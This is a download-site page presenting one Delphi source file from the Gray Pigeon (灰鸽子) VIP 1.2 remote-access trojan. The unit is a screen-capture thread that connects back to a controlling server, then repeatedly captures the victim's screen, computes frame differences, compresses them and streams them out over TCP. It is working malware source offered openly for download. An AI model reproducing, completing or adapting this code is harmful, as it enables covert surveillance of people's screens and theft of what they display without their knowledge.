⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tscreencaptureunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit TScreenCaptureUnit;

interface

uses
  Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64,ZLib;

type
  TScreenCaptureThread = class(TThread)
  private
    SysThread:TIdTCPClient;
    ISFirScr:boolean;
    MyFirstBmp:TMemoryStream;
    MySecondBmp,MyTempBmp: TMemoryStream;
    procedure CompressBitmap(bmp:TMemoryStream; Data:TMemoryStream);

  protected

    procedure Execute; override;
  Public
    constructor Create;
    destructor Destroy; override;
  end;

implementation
uses MainServer,My_StreamManage;


procedure TScreenCaptureThread.CompressBitmap(bmp:TMemoryStream; Data:TMemoryStream);
var
   cs      : TCompressionStream;
   ms      : TMemoryStream;
begin
try
   ms := TMemoryStream.Create;
   cs := TCompressionStream.Create(clDefault, ms); // clDefault is a LOT faster than clMax
   bmp.SaveToStream(cs);
   cs.Free;
   ms.Position:=0;
   Data.LoadFromStream(ms);
   Ms.Free;
except
end;
end;

constructor TScreenCaptureThread.Create;
begin
   inherited Create(True);
   SysThread:=TIdTCPClient.Create(nil);
   SysThread.RecvBufferSize:=4096;
   SysThread.SendBufferSize:=4096;
   SysThread.ReadTimeout :=15000;
   MyFirstBmp:=TMemoryStream.Create;
   MySecondBmp:= TMemoryStream.Create;
   MyTempBmp:= TMemoryStream.Create;
   ISFirScr:=True;
   ScreenOver:=True;
   FreeOnTerminate:=True;
   Suspended := False;
  // Priority:=tpIdle;
end;

procedure TScreenCaptureThread.Execute;
var
  Buf: array[1..4096] of byte;   //32768
  Request:String;
  NumRead:integer;
begin
   if H_GZVIP2004.ConRpcport(SysThread) then
     begin
       try
         Request:='002';
         Request:=EncodeBase64(Request);
         SysThread.Write(Request+EOL);
       except
         SysThread.Free;
         Exit;
       end;
       try    //循环发送图像
         repeat
           if ISFirScr then
             begin
               ISFirScr:=False;
               MyFirstBmp.Clear;
               MySecondBmp.Clear;
               My_GetScreenToBmp(False,MyFirstBmp);
               MyFirstBmp.Position:=0;
               //---------------------
               CompressBitmap(MyFirstBmp,MySecondBmp);
               //---------------------
               SysThread.WriteInteger(MySecondBmp.Size);
               //SysThread.Write(inttostr(MySecondBmp.Size)+EOL);
               //发送信息了!
               repeat
                 try
                   SysThread.OpenWriteBuffer;
                   NumRead:=MySecondBmp.Read(Buf, SizeOf(Buf));
                   SysThread.WriteBuffer(Buf,NumRead);
                   SysThread.CloseWriteBuffer;
                 except
                   SysThread.Disconnect;
                   Terminate;
                   Exit;
                 end;
              until (NumRead = 0);
              Request:=SysThread.ReadLn(EOL);
              if pos('1',Request)=0 then Break;
             end else begin
               MySecondBmp.Clear;
               My_CompareStream(MyFirstBmp,MySecondBmp);
               MyTempBmp.Clear;
               MySecondBmp.Position :=0;
               if (Terminated) or (SysThread.Connected=False) then
               begin
                   SysThread.Disconnect;
                   Exit;
               end;
               try
                 //---------------------
                 CompressBitmap(MySecondBmp,MyTempBmp);
                 //---------------------
               except
                   SysThread.Disconnect;
                   Exit;
               end;

               MyTempBmp.Position := 0;
               //SysThread.Write(inttostr(MyTempBmp.Size)+EOL);
               SysThread.WriteInteger(MyTempBmp.Size);
               //发送信息了!
               repeat
                 try
                   SysThread.OpenWriteBuffer;
                   NumRead:=MyTempBmp.Read(Buf, SizeOf(Buf));
                   SysThread.WriteBuffer(Buf,NumRead);
                   SysThread.CloseWriteBuffer;
                 except
                   SysThread.Disconnect;
                   SysThread.Free;
                   Exit;
                 end;
              until (NumRead = 0);
              Request:=SysThread.ReadLn(EOL);
              if pos('1',Request)=0 then Break; 
             end;
         until (Terminated) or (SysThread.Connected=False);
       except
       end;
    end;
    SysThread.Disconnect;
    SysThread.Free;
    //Terminate;
end;

destructor TScreenCaptureThread.Destroy;
begin
  ScreenOver:=False;
  try
    MyFirstBmp.Free;
    MyTempBmp.Free;
    MySecondBmp.Free;
  except
  end;
  inherited destroy;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -